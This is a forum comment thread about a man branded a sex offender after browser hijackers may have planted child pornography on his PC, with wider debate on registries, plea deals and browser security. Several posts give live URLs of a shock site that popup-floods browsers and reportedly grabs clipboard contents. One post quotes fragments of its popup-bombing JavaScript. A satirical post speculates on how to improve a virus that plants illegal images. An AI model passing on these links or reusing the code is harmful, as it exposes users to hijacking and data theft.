The choice is really between a life of crime, suicide or being murdered.

Re:It's not funny

[swillden]

Try getting a job with a future employer. Try finding a place to live. Try anything. Once you're labeled, the stigma ostracizes you from the rest of society. It's enough to make you flee from the country, or commit suicide.

It's bad, but it's not quite as bad as all of that. For example, a sex offender recently moved in down the street from me. He has a job, a house, and most of the neighbors make an effort to be friendly to him. I know I do.

The particular crime also matters; all sex offenses aren't equal. In the case of the guy near me, he was convicted on two separate occasions of sexual assaults on young girls (ages 11 and under), and served time for each. I keep my kids away from him. Had his offense been on-line child porn, I would still tell my kids to be careful, but the rules wouldn't be nearly as stringent.

If your going to be labeled as a "sex offender". The government better damn well have compelling evidence to label you as one.

Can't argue with that. A criminal conviction, though, requires proof "beyond reasonable doubt". If a jury really convicted him then I doubt that the conviction rested on nothing more than browser logs. If it did go down that way, that guy had better get a better lawyer and appeal. Getting the conviction overturned will get him off the registry.

Re:It's not funny

[jonfelder]

It's bad, but it's not quite as bad as all of that. For example, a sex offender recently moved in down the street from me. He has a job, a house, and most of the neighbors make an effort to be friendly to him. I know I do.

I've been following this story in the news for a while:

Patrick Gholotti

The guy has served his time and he's to be released. The neighbors don't look friendly to me. Granted the guy did some awful things, but still.

Can't argue with that. A criminal conviction, though, requires proof "beyond reasonable doubt". If a jury really convicted him then I doubt that the conviction rested on nothing more than browser logs. If it did go down that way, that guy had better get a better lawyer and appeal. Getting the conviction overturned will get him off the registry.

RTFA. He wasn't convicted by a jury, he pleabargained. He says it was out of fear because they told him if it went to trial he'd go to jail for a long time. Instead he ended up spending 20 days in jail, but is now labeled as a sex offender and has a felony on his record. Pretty crappy if this is indeed a result of some spyware and perhaps some naivety on his part.

Re:It's not funny

[ragnar]

I'm curious how anyone would know in a neighborhood. I can see the stigma of listing a felony on a job application, but how would I know that my neighbor has committed any variety of crime?

Re:It's not funny

[tukkayoot]

I'm not an expert on the subject, but in the past I've read articles and seen things on TV about how people who live near a registered sex offender have to be notified, and also their photos are put on web sites, ect.

Re:It's not funny

[DigiShaman]

You wouldn't know about them unless you asked the local police department. They will disclose the information to you. Also, depending on what state you live in, a realtor must disclose of any nearby sex offenders within the neighborhood you wish to live in. So you get to know regardless of whether or not you care. It's part of Megan's Law.

Re:It's not funny

[Glenn R-P]

I'm curious how anyone would know in a neighborhood. I can see the stigma of listing a felony on a job application, but how would I know that my neighbor has committed any variety of crime?

In my county you get your picture, name, address, and nature of your crime in the local paper once or twice a year.

Re:It's not funny

[Tin Foil Hat]

Personally, I think that the justice system is tremendously flawed. If you commit a felony, you will be paying for it for the rest of your life. Far longer than the prison term which was supposed to result in having paid your debt to society.

In essence, committing a felony (any felony) in this country means that you will be ostracized for life. In most cases, you can no longer vote, own a weapon, or travel to a foreign country. For some felonies, you must register as a convicted felon in any community you move into. To me, that means a felony conviction is a life sentence, regardless of any prison time that you may serve. That, friends, constitutes cruel and unusual punishment; except that it is no longer unusual.

Re:It's not funny

[mla_anderson]

My brother was properly convicted of downloading kiddie porn (on USAF computers no less - stupid kid) and spent three years in jail. He is now a registered sex offender. Funny thing is car dealerships are quite happy to hire him...hmmm. It's been hard for him but not impossible to get by, he owns his own house and has held down a job since he was released.

I'll let my kids be around him, but never alone with him.

Re:stop this? me?

[LBArrettAnderson]

how is the MS firewall crappy? It performs exactly as any firewall should perform.

Now, even though people usually only target windows, the advantage in XP is the system restore. If you do work for friends/family who use windows, it's the easiest fix. After you do it, be sure to tell them "don't say 'yes' or 'open' EVER" unless it is from microsoft corporation, macromedia, apple quicktime, or any number of companies you know won't put spyware or adware on your computer (i'm starting to distrust real now...)

Re:When in doubt, log off and call the police

[Anonymous Coward]

You really cannot be so naive as to think that calling the police would be the right thing to do in that case. Even, or especially, if you were entirely innocent.

Files in unallocated space

[lorcha]

Some of the images were found in unallocated file space, and would have to have been placed there deliberately since cached images from browsing sessions wouldn't have been stored in unallocated space.

Shame on you, Wired. From earlier in the article:

Jack originally believed that the images found on his computer were from a previous owner -- he'd bought the machine on an eBay auction.

Ok, here's what prolly happened:

1. Dude with his drive in two partitions downloads a bunch of pr0n and stores it on /dev/hda2 (or Windoze equivalent)
2. Porn-viewing dude decides to sell his computer on eBay.
3. Realizes that he can't very well sell it to someone when it's got child pr0n on it or he'll be goin' to jail
4. Nukes /dev/hda2 partition and thinks "ok, it's gone now. I'm in the clear".
5. Sells it to "Jack"
6. Jack gets his computer analyzed by the cops.
7. Jack gets fucked by the system.

Can I be a reporter now?

Re:Files in unallocated space

[DavidBrown]

Nah, here's what really probably happened:

1. Jack into kiddy pr0n finds it on the internet.
2. Jack trolls AOL chat rooms for minors.
3. Cop, posing as minor, learns about Jack.
4. Based on Jack's chat room antics, Cop gets a search warrants, locates Jack, and gets a search warrant for Jack's computer.
5. Cop seizes Jack's computer, and finds kiddy pr0n, catching Jack with his pants down.
6. Jack, pants down, claims his only viable excuse: "It was those other kids".
7. Jack gets fucked by the system, but he more or less deserves it.

Really. Most criminals have very creative excuses as to why evidence implicating them just happened to be found in their home/car/computer/etc. This is only the latest excuse in a long series of excuses.

Re:Files in unallocated space

[etymxris]

Most criminals have very creative excuses as to why evidence implicating them just happened to be found in their home/car/computer/etc. This is only the latest excuse in a long series of excuses.

Certainly. But the real problem is that the incentive to accept a plea bargain can be so great that it is the most rational choice for someone even if he is not guilty. Accepting a guilty plea should never be the most adventagious choice for someone who is innocent. Otherwise, the whole plea system just serves as a run-around due process.

Re:Files in unallocated space

[Ralconte]

I made an assumption, so mod me down if you feel like it. When Wired said "unallocated space" they meant same partition, just the files were deleted instead of wiped with ones & zeros 20 times. People figure, fairly or unfairly, that he browsed, deliberately or not, then purged the cache. If it truly was an unmountable partition, well, still -- it was on his system, he should have some measure of responsibility for his property.

Re:Files in unallocated space

[zonix]

Can I be a reporter now?

"Avoid employing unlucky people - throw half of the pile of CVs in the bin without reading them." -- David Brent

Sure! If you're lucky, I guess. :-)

z

Re:stop this? me?

[smittyoneeach]

4.5 Mozilla email, too.

Re:RTFA

[Anonymous Coward]

The 4 rules of karma whoredom:
1. After writing a stupid joke write "It's Funny, Laugh!"
2. Ask a retarded question about something that is painfully described in the article.
3. Respond to your own post with "MOD UP PARENT!"
4. Post a statement high up in a discussion that has nothing to do with the parent post to get visibility.

Are you trying to say he is a karma whore because of rule 2?

Yes you can laugh this off

[XavierItzmann]

Use OS X

No documented virii, worms, spyware, or trojans to date. Yes, there was a trojan proof of concept. No, it has not infected anyone.

Re:Yes you can laugh this off

[david614]

relax ok?!

Re:Yes you can laugh this off

[fishbowl]

"Not enough people in the world use Macintosh for writing mac adware/trojans pallatable."

I don't know what you mean by "pallatable", but there are orders of magnitude more Mac users today than there were total PC users between, oh say, 1988 and 1992 when there was no shortage of PC viruses.

Re:Yes you can laugh this off

[mrchaotica]

Well, damn, you're just fucked then!

Meanwhile, the vast majority of the rest of us (who don't need special proprietary software) can use Macs and get on with our lives!

Re:Yes you can laugh this off

[One Louder]

So, what you're saying is that maybe I should get rid on my Mac so I can join the other 98% of the world that's getting viruses, worms, spyware, and even perhaps hauled off to prison on dodgy child porn charges?

Hmmm...

You make an excellent case, and it's very, very , very tempting, but I think I'll pass for now. Thanks!

Re:You can't laugh this off, not even with Mozilla

[benzapp]

Just out of curiosity, I haven't really found a suitable alternative to the old Norton Con. What exactly do you use?

It is not that far-fetched at all

[maxmg]

Out of interest, when I rebuild my home server recently, I installed a fresh Windows XP (with SP1(!)), but nothing else. Then pointed my browser at www.netants.com (that site would probably deserve a good whacking) and sat back and watched the show.
Within five minutes, there was porn everywhere. The browser homepage (which also downloaded new tasty bits of spyware whenever the browser was launched), the favorites (it would take a determined smut-lover months to accumulate a list of porn sites that long!), the browser history, lots of links on the desktop, porn quick-bars, search bars, the start menu, and every other piece of mal-, spy-, ad- and crapware under the sun.

The scary thing is, I did not click on any buttons, links or otherwise. The website simply exploited IE flaws to install all this crap.
I then ran ad-aware and spybot search and destroy and the amount of shit that had been installed in about five minutes was absolutely staggering! After that, I continued using the machine for a few minutes, but could not shake the feeling that there was still a fair amount of *ware left on the box. I had to repartition, reformat and take a shower to feel clean again.

So it would be all too easy for Joe User, who does not quite grasp the concept of IT security in general and the necessity to upgrade in particular, to stumble upon a site like that and catch all that junk. After witnessing this, I will certainly be migrating my parents and other relatives to Linux/Mozilla as soon as I can.

I have now prepared an old laptop that I can restore quickly by re-ghosting with a virgin XP install. Every time I need to impress the importance of updating, configuring your system properly and generally staying away from MS software, I take the laptop along, open abovementioned site and ask people to clean up the machine. Normally they give up in disgust after firing up IE for the first time. Might be an idea to do that in court, too.

Re:It is not that far-fetched at all

[maxmg]

to clarify: netants is a download manager for windows that until fairly recently was free of spyware. It now comes with cydoor and all the stuff that gets in through the website. I used to use netants quite regularly, but have now switched to fresh downloads which does the job admirably.

Re:It is not that far-fetched at all

[yuri benjamin]

After witnessing this, I will certainly be migrating my parents and other relatives to Linux/Mozilla as soon as I can.

Some folks will probably reply that when Linux gets more common, there will be crapware for linux too. This may or may not be the case (depends on whether you buy the "windows gets attacked because it's popular" argument). In any case, switching to linux will at least buy some time, since it will take a while for linux to get the user base required to make it a target for crapware.

Ditto for Mac.

Re:It is not that far-fetched at all

[maxmg]

It also buys me some time because it will take my parents a while to figure out how to ./configure:make:make install ;)

And, for me, it has the added benefit of being easily administrated remotely and securely via SSH - I live in Australia, while my parents live in Germany. I can also apply much more finely-grained access controls. Of course I know about Terminal Services in Windows, but I don't trust those either.

Re:It is not that far-fetched at all

[yuri benjamin]

easily administrated remotely and securely via SSH
easy - yes.
securely - maybe - there have been remote exploits in openssh, maybe other implementations - I've heard that some linux gurus can update sshd and restart the daemon while logged in via ssh, without losing the ssh session - but I don't know how they do it - you might want to find out since it's a long way from Oz to .de-land :-)

Re:It is not that far-fetched at all

[ciggieposeur]

I've heard that some linux gurus can update sshd and restart the daemon while logged in via ssh, without losing the ssh session

I doubt they're doing anything particularly magical. sshd the root-level daemon listens on port 22. After it establishes the connection, it hands off to a child sshd -- a completely separate process. So your gurus are likely just restarting the listener process which shouldn't effect the child processes.

I would test it for you but I'm kinda sleepy. :) Check out the man pages on listen(), accept(), and fork() to see how a parent process can listen and then hand off the existing connection.

Re:It is not that far-fetched at all

[Tim C]

Well, feeling brave I just pointed IE at that site and browsed around it a little and - nothing. No popups, no "please install this" dialogues, no browser hijacking, nada.

I keep my machine up to date with respect to patches, so it looks like whatever security flaws allowed it to act as you say have been fixed.

Re:It is not that far-fetched at all

[IamTheRealMike]

I went to that site - maybe it's because my browser doesn't identify as IE but looking at the source doesn't reveal anything that could trigger bugs in IE. There are no scripts that I can see except a harmless onclick to open a popup when going to a partner site. What code actually causes the problems?

I had something like this happen to me

[nessus42]

I had something like this happen to me, but fortunately I wasn't arrested or fired: One day a while back I decided to clean up my Windoze computer a bit and logged into the default account, which I hadn't logged into in a long, long time -- typically I log into my own account. There were a few shortcuts on the desktop that I hadn't remembered puting there, so I double clicked on one of them and it took me to a kiddie porn site. I was not amused. The other shortcuts were also to kiddie porn sites.

I called up my ex-girlfriend, since she was the only other person who had ever used this computer, and I started ranting at her about how could she have been so cruel as to play that kind of practical joke on me. She clearly had no idea, however, what I was talking about.

So, it must have been some sort of virus, worm, trojan horse, or web-based vandalism that put those links there. Thank goodness I found them before letting a guest use the default account!

|>oug

Re:I had something like this happen to me

[kuzb]

Yes, you're absolutely right. It *couldn't* have had *anything* to do with *your* own neglegence regarding security, could it?

In the end, securing your box is your responsibility, and not anyone elses.

Re:I had something like this happen to me

[nessus42]

Yes, you're absolutely right. It *couldn't* have had *anything* to do with *your* own neglegence regarding security, could it?

In the end, securing your box is your responsibility, and not anyone else's.

I keep up-to-date on OS patches, use Norton AntiVirus, run Ad-Aware regularly, and have a hardware firewall. What's your point? Are you saying that I shoud be thrown in jail on kiddie porn charges for not spending even more of my valuable time worrying about the security of my home computer?

|>oug

Re:Our Government aren't fools!

[Anonymous Coward]

Never existed?

So who do you think launched all those tons of chemical agents on Iran in the Iran-Iraq war? Who gassed the Kurds with nerve agents? Who? Was it Haiti making secret bombing runs over the Middle East to dump chemical weapons on villages and battlefields in the 1980s in your fantasy world?

That Iraq had weapons of mass destruction -- that the weapons did exist -- is as incontrovertable a fact as the use of chemical weapons in World War I. The only question is if Iraq hid them or destroyed them before the Second Gulf War.

And either way, Hussein deliberately acted in such a way that the only conclusion anybody on the outside reached -- and that included the UN, France, Germany, Canada, and Russia -- was that he had retained them. Everybody thought Iraq had them; the only controversy was over the method of getting rid of them.

And now we've got uninformed or lying partisan idiots like you making claims like Iraq -- which killed more people with nerve gas than any other state since Nazi Germany -- was invaded "to get rid of weapons that never existed."

Fuck you.

New Virus Downloads Child Pornography

[Anonymous Coward]

London
Tuesday, 21st June 2004

Today, 23-old Welsh Web designer, Nomis Rollav, of Llandudno, North Wales confessed today for making the 'sextoy' computer virus and releasing it to the net. As one may have heared, 'sextoy' virus installs illegal pornograph and banned music content onto people's hard drives before spreading. The virus itself is quite clever, it tries to simulate a frustrated adult male anywhere between 3 and 5AM, it starts at one of 10 common sex portals and slowly browses, in a random sort of manner to other portals. It downloads to the unsuspecting user's computer videos of child pornography and even sodomy.

Where most viruses do minimal damage, or at the very most wipe someone's hard drive; the 'sextoy' virus is far worse. It has lead to a string of divorces across the bible belt of the United States. It has also led to widespread firing of employees in several fortune 500 corporations which have a zero tollerance for pornography. At the peak of the virus's life, it had prompted the jailing of innocent US victims by John Ashcroft and the US Justice Department.

When asked if he was repentant, Nomis replied: "Well, I'd do two things differently if I had a chance. First, I'd find some way to piggy back on other people's habits, for example, if they go to Fredricks or Victoria Secret regularly, I'd make sure to mix the vits to child porn sites with visits to their normal viewing habits. Second, I'd build an IM client support so that the virus can attempt to corner policemen disguized as underage females. Third, I'd make the virus a bit more self limiting; this one was far too successful."

Legal scholors across the globe are wondering how to make viewing illegal pornography enforcable. The recent push-back on legislation happened when US Senator Orrin Hatch's own computer became infected causing him to be picked up, accidently by the "p0rn police". The very next day Senator Hatch introduced legislation making it a terrorist act, and punshable by death, to make viruses which spread pornography. The legislation also makes those with assets of more than one million dollars immune to the anti-porn laws. Senator Hatch was not available for comment.

A total farse

[t_allardyce]

Its pretty stupid that we've got to the stage where simple web scripting can have so much control over your browser/computer. It seems that javascript for example was designed with no regard to security, or more likely badly implemented by the likes of Microsoft. The plain and simple fact is your browser should stop bad scripts and/or ask you if you want to allow something, its certainly not rocket science to implement that people come on - were talking "if script wants to open/close a window or go somewhere, ask user first" thats about 3 lines of code that should have been implemented back in IE 3, why wasn't it?

To a certain extent its now appearing, IE will tell you "This website wants to close a window, do you want to allow it?" too little too late. Most other browsers have built-in pop-up blocking but even they took their time. Its basic security-101 that if you're dealing with a script that can be run by anyone you restrict what it can do. Same thing goes for Microsoft Outlook VB scripting. If people implementing these things weren't idiots we would have actually gone through the 90's with out annoying pop-ups and Outlook worms!!!! can you believe that??!? Microsoft is pretty much single-handedly responsible for opening these holes and for nearly a decade no-one has pointed fingers!!! Can i even add any more exclamation points or question marks?!?!?!?! Ok so its not just MS but mostly it is, given their browser share.

Other than web scripting/activeX etc. etc. which could be easily secured, there's real OS level holes, and tricking users into downloading and running things. Again who do we all need to point at? I don't expect every computer user to know that downloading random programs can be bad, but at the very least warn them! or at least run that program with limited permissions automatically unless they override it!

I just cant understand why all this is allowed to happen? someone please explain?

Re:A total farse

[rritterson]

I agree with you wholeheartedly. I also think that MS should set the kill bit on all known varients of CWS in XP SP2 and should do something to keep those programs from being so darn hard to remove. A program that can automatically reregister itself is virulent in my mind. Any program that resists uninstall from an Administrator-level users is too. There needs to be some sort of 'anhiliate' button in windows.

Re:A total farse

[t_allardyce]

Most other OS's require you to confirm when a program wants to do something dodgy and often make you type your password or root's. Sand-boxing is the most basic security method - we even do it in real life! imagine saying "ok kids, you can play in the garage but dont touch that high-powered buzz-saw or that nail-gun" thats what windows is doing.

Re:A total farse

[mabu]

One big problem is that Microsoft's custom security options are either vague or misleading. If you disable ActiveX, you can't run Windows Update, so you're left with leaving vulnerable systems enabled in places where you would prefer not. MS has a number of different names for different enabled/disabled features: active scripting, activeX, MicrosoftVM, data sources across domains... most people have no idea what this means. They can't merely say "disable Javascript", they have to bundle divergent services into misnamed categories making it difficult to figure out how to secure your browser or even what you're doing.

Internet Explorer's deliberately obtuse configuration interface is mostly responsible for this mess. Microsoft could add more options described in a more specific manner so users could make informed decisions over what features they want to enable/disable. Microsoft has apparently deliberately chosen to obfusicate their security options, specifically to avoid any user's finding easy ways to enable the more-secure non-Microsoft technology over the less-secure Microsoft "features."

Re:A total farse

[t_allardyce]

Theres no need to turn all these things off, just make them unable to do much to your computer without the browser asking you first. Most people could deal with "This site is trying to access important parts of your system, if you trust this site click OK" and ActiveX could be hardcoded to trust microsoft.com (yes issues there but its better than nothing).

Re:A total farse

[ewhac]

It seems that javascript for example was designed with no regard to security, or more likely badly implemented by the likes of Microsoft. [ ... ]

Alas, no. The blame for JavaScript may be laid firmly at the feet of Netscape, who invented it in part as a "respose" to Sun's Java. Any moron with even a passing familiarity with MSWord macro viruses would have realized that including and automatically executing code within what is fundamentally a document was a monumentally stupid idea. But no, they did it, anyway.

Microsoft doesn't get off scot-free, however. They uncritically re-implemented this braindamage and -- as first-hand observers of the problems caused by MSWord macro viruses -- had even less excuse for proliferating this.

Schwab

Re:A total farse

[Foolhardy]

That works, or you can just disable ActiveX in the 'Internet' security zone and enable it in the 'Trusted' zone; then add windowsupdate.com to the trusted zone. That's what the zones are for. And you can add/remove domains any time you want.

Re:A total farse

[BlacKat]

Someone mod up the parent as this is exactly how you do security in IE.

Set the "Internet" Zone to the maximum security level there is, thus the default for any unknown site is lockdown.

Set the "Trusted" Zone to allow Javascript, ActiveX, whatever else you want. Then add sites you visit that you TRUST to the Trusted zone and all is good.

I also use the "Restricted" Zone as well, basically it's close to the Trusted zone but with JavaScript and ActiveX disabled, but with cookies and such enabled.

Re:A total farse

[Tony-A]

i>I just cant understand why all this is allowed to happen? someone please explain?

(From an old fart, and no, I'm not really all this disgruntled)

"allowed" is the wrong term. Everything in the industry is aiming to ensure that things are that way, and if it was ever different, it has been that way since at least the 60's.

First look at what has survived and what hasn't. And why.
PC's. At least they're cheap.
Burroughs now dead at least in part due to bombing out on "debugged" programs that were doing illegal stuff. Enterprise mainframes may be a better grade than PC's, but they're closer to PC level than to actually doing things right.
Multics now pretty much dead. People not that interested in security.
Storage tube CAD stations now a thing of the past. Give up 4096x3072 resolution for the new raster graphics.

There are some fundamental differences between mainframes and PCs.
You use mainframes because you have to.
You use PCs because you want to.
If the PC isn't fun or entertaining it won't be used.

Screensavers. Green monochome monitors really need screensavers, or a static display will literally etch itself into the screen. Amber still needs it, but not as bad. Color monitors are very hard to etch the screen. But it's only the color monitors that get the attention. The use of the term "screensaver" pretty well ensures that bad things will happen.

When "WOW!" sells and quiet competence does not, what do you expect?

"Trusted Zone" In order to allow one page to do something I must allow all to do most everything. "This site is trying to access important parts of your system, if you trust this site click OK"
Since the system delivers the message it must know what is trying to do what with what. I'm supposed to blindly OK everything???
There is an important document you must sign. Without reading it, click OK to sign this document (and all the other documents that came along with it). This is user-friendly???

Re:A total farse

[t_allardyce]

"Since the system delivers the message it must know what is trying to do what with what. I'm supposed to blindly OK everything???"

No, but when you go on a 'dodgy' site and your browser asks you "Would you like to allow this site to open 23 new windows?" you can click no. AFAIC users who cant be bothered with basic security and want to drag the rest of the world down to their level can damn well learn to click a dialog box or just not have a say.

Re:A total farse

[Tony-A]

and your browser asks you "Would you like to allow this site to open 23 new windows?"

That's what the browser does if you click OK.
That's not what the browser asks. More like something about "may not display properly".

Basic security is labelling things as what they are.

Re:A total farse

[heck]

> The blame for JavaScript may be laid firmly at the feet of Netscape,
>who invented it in part as a "respose" to Sun's Java.

Netscape DID invent JavaScript. They called it LiveScript. "Partly in response to SUN's Java" is inaccurate. Most people say "entirely because of Java". At the time SUN and Netscape were closely allied. SUN had just released Java. But there were problems with Java - it was considered "too hard". To make manipulating Java applets easier, Brendan Eich came up with LiveScript. Netscape later renamed LiveScript to JavaScript - a marketing decision (partly to capitalize on the buzz of Java; partly to emphasize that it was a scripting language designed to make using Java easier). JavaScript was officially released - with press releases from Netscape and SUN - December 4, 1995 (okay, I googled for that date. http://www.oreillynet.com/pub/a/javascript/2001/04 /06/js_history.html)

Little bit more history, while we're at it: remember that Java was originally intended for client side applets - not server side servlets. The whole server side thing came later.

JavaScript/LiveScript was intended to give access to page elements so that the page elements could be tied into applets. The law of unintended consequences kicked in - and developers began using JavaScript as a client side scripting language to manipulate images and document contents, not applets as intended.

Meanwhile, MicroSoft releases JScript (and VBScript for the browser). And Netscape submits JavaScript to ECMA.

All that said, there have been security issues in both Netscape and MicroSoft's implementation of JavaScript/Jscript. My personal opinion is that MicroSoft has made the issues worse with ActiveX controls, etc. Security in JavaScript has improved greatly in the past 8 years; most of today's problems can be laid firmly at the feet of bad implementation of security by the developers of the browser.

Re:A total farse

[mabu]

That works, or you can just disable ActiveX in the 'Internet' security zone and enable it in the 'Trusted' zone; then add windowsupdate.com to the trusted zone.

My point exactly. It's a mess, with zones and other malarky that make no sense to the average user. And then you have to deal with an update to IE obliterating or superceding your settings.

The bottom line is that disabling ActiveX for the Internet proper would dramatically improve online security, but Microsoft has no intention of making the process easy without screwing up other critical elements. If users could easily disable ActiveX without creating various rulesets, they'd have a more difficult time shutting out competition from Java and Javascript and related competitive technologies.

Found in unallocated space a clue?

[gd2shoe]

Security experts who were asked to review Jack's claims said it is possible that a browser hijacker could have been the reason porn images were found on Jack's computer. But they also pointed out some discrepancies in the story.

Some of the images were found in unallocated file space, and would have to have been placed there deliberately since cached images from browsing sessions wouldn't have been stored in unallocated space.

You're wrong.

[tacobot]

There are sites out there that can take over a browser and flood pornographic images into your cache. Below this comment is the URL to a site which can spawn infinite popup windows on IE or Mozilla which contain Scat Porn, Child Porn, and a very loud sound file. I will not directly link to it. If you access it with the highly insecure "Mozilla" browser, you are in deep trouble.

One click is a felony; Hopefully everyone understands I'm not joking. This if fair warning.

WARNING THIS SITE WILL HIJACK AND POPUP-FLOOD ANY BROWSER:

http://lm.pleaseeat.us/

Re:You're wrong.

[flatt]

As an interesting sidenote, Konq (in Smart pop-up mode) does indeed block the pop-ups. I'm guessing Safari users would have a similar experience.

(You still see goatse and some nasty scat as well as the sound file. Yay...)

Re:You're wrong.

[AoT]

hmmm. my browser(mozilla firebird) shook and the 'puter was yellin' about me looking at gay porn but all i did was hit apple-W and the tab went away. Dooes it just not work right on a mac?

I did like the warning on the top. "their lawyers"

tee hee

Re:You're wrong.

[jweatherley]

I had a look with 'links' and can advocate 'links' as the secure browser of choice. No sound no pictures and I can view the source. As seen with links:

Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, pleae leave immediately
[ CLICK ME ] GNAA > j00
fristage postage is mine
Lastmeasure last measure last-measure nero institute

The source is quite fun but I can't get it past the lameness filter as it bitches about too few characters per line even when surrounded by or if I use 'Code' formatting...

Here's some snippets anyway:

Nice function and variable names:

function procreate(){
if(window.opener) {return 0;} // fuck procreating like rabbits -- goat-see
goat = Math.ceil((Math.random()*10));
if(goat == 1|| is_ie) {popUp("christmas.php");}
if(goat == 2|| is_ie) {popUp("lemonparty.php");}
if(goat == 3|| is_ie) {popUp("penisbird.php");}
if(goat == 4|| is_ie) {popUp("pillowfight.php");}
if(goat == 5|| is_ie) {popUp("tubgirl.php");}
if(goat == 6|| is_ie) {popUp("spin.php");}
if(goat == 7|| is_ie) {popUp("freak.php");}
if(goat == 8|| is_ie) {popUp("rustina.php");}
if(goat == 9|| is_ie) {popUp("loopback.php");}
if(goat == 10|| is_ie) {popUp("eww.php")}
}

Trollcall...

function delkey() { if (event.keyCode == 46) alert("LAST MEASURE VERSION 3.2 BY PENISBIRD.\nStarring:\nSpin\nTubgirl\nLemonparty\n Bob Goatse\nPenisbird\nPillowfight\nChristmas\nRusty's Wife\nWhat the fuck? That guy's ass is showing in his baby's picture!\n\n\nAdditional (actually fucking working in v3.2) popup-blocker-busting by goat-see\n\nPROPS TO GNAA"
); }

Well commented code as well!

/* let's figure out what the fuck kind of browser the poor plebs are using :( MSIE gets a special kind of last measure where I start off with a ModelessDialog and pop up from it. Gets around google toolbar. -- goat-see */

Anyway, in summary use links for your browsing safety!

Holy Shitballs On A Stick!

[RatBastard]

Oh, yeah. Let's play another round of "blame the victem"! Excuse me while I kick you in the Jimmies.

I've seen browsers get hijacked like this from people who I know for a fact were not looking at porn. I've had to clean a lot of them out at my job and I know from looking at the firewall's logs that these people were not visiting porn sites before their browsers got hijacked.

And yes, you ARE condining this poor bastard being marked as a sex offender.

Re:Holy Shitballs On A Stick!

[Metallic Matty]

Ow my jimmies.

I am not condoning it. I think its a rather large jump, even if he WAS looking at it.

Secondly, I'm just hypothesing, no where did I say that he was, for fact looking at porn. I am just pointing out that it seems fairly likely that he was.

Defense based on a trojan horse

[elegie]

Security expert Bruce Schneier has talked about what he calls the trojan defense. He mentions several cases in which an illegal action was traced to a specific computer system, but the individual who was at the system claimed that a trojan horse was responsible for the action. In one case, an individual was suspected of launching a distributed denial of service attack, but they were acquitted after arguing that a trojan was responsible. In two other cases, individuals were charged with downloading illegal porn but were able to get the charges cleared via the trojan defense. Bruce Schneier supports the idea of this defense, but others might not.

Re:You can't laugh this off, not even with Mozilla

[c4Ff3In3 4ddiC]

mmmmm.... F-Prot... Run it on a 200MHz Pentium with 64MB of RAM and you wouldn't know it was there. Small program, small memory usage, and updated almost twice a day.

When I read "browser hijackers"...

[ErnstKompressor]

My first thought was porn on an airplane...

WARNING: Mozilla cannot protect you

[tacobot]

The site below can popup-flood Mozilla or IE.

WARNING: Site link below will flood your browser with popups of scat and child porno.

http://lm.pleaseeat.us/

Re:WARNING: Mozilla cannot protect you

[Ravadill]

This gets past the Mozilla/Firefox blocker by using target="_blank" which somehow bypasses it.

Add the following to your user.js to stop it:
// disable target="_blank" (open in same window):
user_pref("browser.block.target_new_wind ow", true);

Stolen from Texturizer.net:
http://texturizer.net/firefox/tip s.html#beh_blank

Re:WARNING: Mozilla cannot protect you

[Chris Tucker]

But iCab sure can!

All I got was the goatse guy and a scat image.

No popups! Not a one.

Ah, iCab on Mac OS. No BS web browsing.

Re:WARNING: Mozilla cannot protect you

[etymxris]

No, that doesn't do it for Mozilla build 2003120506. The nasty URL(lm.pleaseeat.us) still hijacks the browser. I'll try a newer build and reply to this.

Re:WARNING: Mozilla cannot protect you

[etymxris]

I just tried build 2004051107, and that does seem to work. So somewhere between those two dates, your browser can be vulnerable. Net users beware.

Re:WARNING: Mozilla cannot protect you

[zoloto]

where do i find this user.js?

Re:WARNING: Mozilla cannot protect you

[jmichaelb]

Most of the adware crap is "toolbars" (often invisible) for Internet Explorer. Netscape, Mozilla, Opera et. al. are largely immune. Unfortunately, only one click will install this junk on IE and it can be difficult to remove - it often requires editing the registry.

You are MUCH safer running Mozilla for this and many other reasons (as we know all too well).

Re:WARNING: Mozilla cannot protect you

[dryeo]

Yea I got the same (no popups) using privoxy as an add blocker and Mozilla 1.6. Seems you need a couple of block up blockers nowadays

dang.

[gd2shoe]

I meant to hit preview, and add some commentary.

Was the prosecution saying these had been deleted, or was there software specifically to keep data in unallocated space. This merits some level of understanding at least.

What do they mean by "Unallocated space?"

[geminidomino]

Some of the images were found in unallocated file space, and would have to have been placed there deliberately since cached images from browsing sessions wouldn't have been stored in unallocated space.

When I hear "unallocated space", I think of, i.e., unformatted filesystems, unpartitioned hard drives, etc... Maybe they're referring to "deleted" files? A file would end up there from the cache if he clicked on the "empty cache" button fer chrissakes.

So, shall we vote whether to consider this poor shmuck the first casualty in Ashcroft's "War on pr0n?"

Re:What do they mean by "Unallocated space?"

[BCoates]

Nope, just a normal folder (well, several normal folders) and some index files.

Re:What do they mean by "Unallocated space?"

[BCoates]

So, shall we vote whether to consider this poor shmuck the first casualty in Ashcroft's "War on pr0n?"

I'd have to say "no", since this whole thing happened more than a year before Aschroft started making noises about porn and was presumably done by local law enforcement, not the the Federal Justice Department. Also, this is about child porn which is a seperate from "obscenity" (the regular porn Aschroft wants to go after)

Re:When in doubt, log off and call the police

[Anonymous Coward]

I have to wonder why this guy logged back on after this

...because he didn't want to junk a $1000 computer that he needed for work, just because of some porn popups? You'll be surprised what people will put up with rather than admit that they have a problem; my own mother's machine was virtually unusable before she got round to asking me for help.

Troll site defeats mozilla popup protection

[phr1]

This bit me in the Plextor 12x burner thread:

http://plextor.bounceme.net/

No I'm not going to link it; you can paste it yourself. WARNING, it goes to a browser hijacker that puts up a cascade of goatse.cx variety shock pictures. Not work safe. It completely wedged Mozilla 1.6 when I clicked on it. I didn't try in 1.7. Blecccch. If you look at it, don't say I didn't warn you. Note that if you turn off Javascript, you just see a blank page.

The JS in it also tries to capture the text from your clipboard and send it to the remote server, though I hope Mozilla isn't stupid enough to let THAT operation work.

Re:Troll site defeats mozilla popup protection

[dmaxwell]

It also wedges Firefox 0.8. I tried it in Konqueror but I didn't have "ask" configured in the pop-up window policy. It did to Konqueror what I think it is intended to do in IE. With
"ask" configured, the initial shocking picture comes up and then it wedges. I did find out that Javascript can be enabled on a site by site basis. Since, I rarely use Konqueror that seems best.

One of the reasons I rarely us Konqueror is because things like adblock seem to be more readily availiable for the Gecko based browsers. I also find it cluttered after using Firefox.

Re:Troll site defeats mozilla popup protection

[WhiteDeath]

damn, good thing Mozilla doesn't eat all the CPU time when that happens...

One handy tip - if you want to stop a popup bomb like this, edit /etc/hosts and add "127.0.0.1 hostname" (where hostname is the problem site) to recover your browser without having to kill it (works on linux, didn't try windows)

Re:Troll site defeats mozilla popup protection

[ubernostrum]

It completely wedged Mozilla 1.6 when I clicked on it.

